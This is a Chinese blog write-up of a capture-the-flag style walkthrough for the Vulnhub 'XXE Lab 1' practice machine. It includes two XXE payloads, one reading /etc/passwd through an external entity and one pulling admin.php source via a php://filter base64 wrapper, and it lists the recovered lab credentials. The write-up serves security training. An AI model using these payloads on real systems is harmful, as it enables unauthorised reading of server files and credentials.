Vulnhub-xxe靶机通关,获取最终flag

靶机下载地址:https://www.vulnhub.com/entry/xxe-lab-1,254/

1、 信息收集,nmap探测靶机地址

在这里插入图片描述
得到目标地址192.168.248.168,只开放80端口
在这里插入图片描述

2、 使用御剑对目标网站后台扫描

在这里插入图片描述

3、 发现存在信息页面

在这里插入图片描述

4、 访问/xxe路径

在这里插入图片描述

5、 传参抓包,得知通过xml传参

在这里插入图片描述

6、 构造恶意xml,替换参数
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<root><name>&admin;</name><password>1</password></root>

在这里插入图片描述

7、 成功读取到/etc/passwd中内容

在这里插入图片描述
证明存在XXE漏洞

8、 通过php伪协议base64加密读admin.php源码
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/convert.base64-encode/resource=admin.php">
]>
<root><name>&admin;</name><password>1</password></root>

在这里插入图片描述

9、 将返回值base64解码

得到用户名和密码md5值
在这里插入图片描述
解密密码
在这里插入图片描述
得到admin.php页面用户名/密码:administhebest/admin@123

10、得到flag提示

在这里插入图片描述

11、访问得到flag提示

在这里插入图片描述
Baes32解码然后base64解码,得到路径
在这里插入图片描述

12、使用php伪协议再次读文件

在这里插入图片描述
解码:
在这里插入图片描述

13、创建php文件,将解码后的内容插入<?php ?>中

使用xampp环境访问文件,得到报错结果没有flag
使用phpstudy访问文件,得到最终flag。

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值